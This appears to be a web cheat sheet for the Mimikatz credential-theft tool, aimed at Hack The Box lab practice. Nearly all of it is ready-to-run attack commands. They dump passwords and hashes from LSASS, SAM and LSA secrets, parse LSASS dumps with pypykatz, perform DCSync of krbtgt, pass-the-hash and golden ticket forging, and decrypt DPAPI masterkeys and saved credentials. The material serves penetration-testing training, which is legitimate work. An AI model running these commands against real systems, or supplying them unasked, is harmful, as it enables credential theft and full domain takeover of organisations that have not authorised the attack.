Mimikatz

Mimikatz needs admin rights (or SeDebugPrivilege) and Defender catches it immediately, so on modern boxes pypykatz on an LSASS dump or NetExec modules are used more. Still, its modules are the reference for understanding which credentials Windows keeps.

Platform
Windows
Official site
github.com/gentilkiwi/mimikatz
On HTB
7 machines
Install
# Binarios en https://github.com/gentilkiwi/mimikatz/releases (pypykatz en Linux: pipx install pypykatz)

Mimikatz cheat sheet

Your values Saved in this browser and applied to every cheatsheet.
9 commands

Credentials

Passwords and hashes from LSASS Target
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
SAM hashes Target
.\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"
LSA secrets Target
.\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::secrets" "exit"
Read an LSASS dump on Linux with pypykatz
pypykatz lsa minidump lsass.dmp

Domain

DCSync of krbtgt Target
.\mimikatz.exe "lsadump::dcsync /domain:box.htb /user:krbtgt" "exit"
Pass the hash (opens a process with that identity) Target
.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:box.htb /ntlm:64f12cddaa88057e06a81b54e73b949b /run:powershell.exe" "exit"
Golden ticket Target
.\mimikatz.exe "kerberos::golden /user:Administrator /domain:box.htb /sid:S-1-5-21-XXXX /krbtgt:64f12cddaa88057e06a81b54e73b949b /ptt" "exit"

DPAPI

Decrypt the masterkey with the user's password Target
.\mimikatz.exe "dpapi::masterkey /in:C:\Users\usuario\AppData\Roaming\Microsoft\Protect\SID\GUID /sid:SID /password:Password123! /protected" "exit"
Decrypt a saved credential Target
.\mimikatz.exe "dpapi::cred /in:C:\Users\usuario\AppData\Roaming\Microsoft\Credentials\FICHERO /masterkey:MASTERKEY" "exit"

HTB machines where Mimikatz is used

Taken from the chapters of IppSec videos where Mimikatz shows up. The ▶ link jumps to the minute of that part.

Guides that use Mimikatz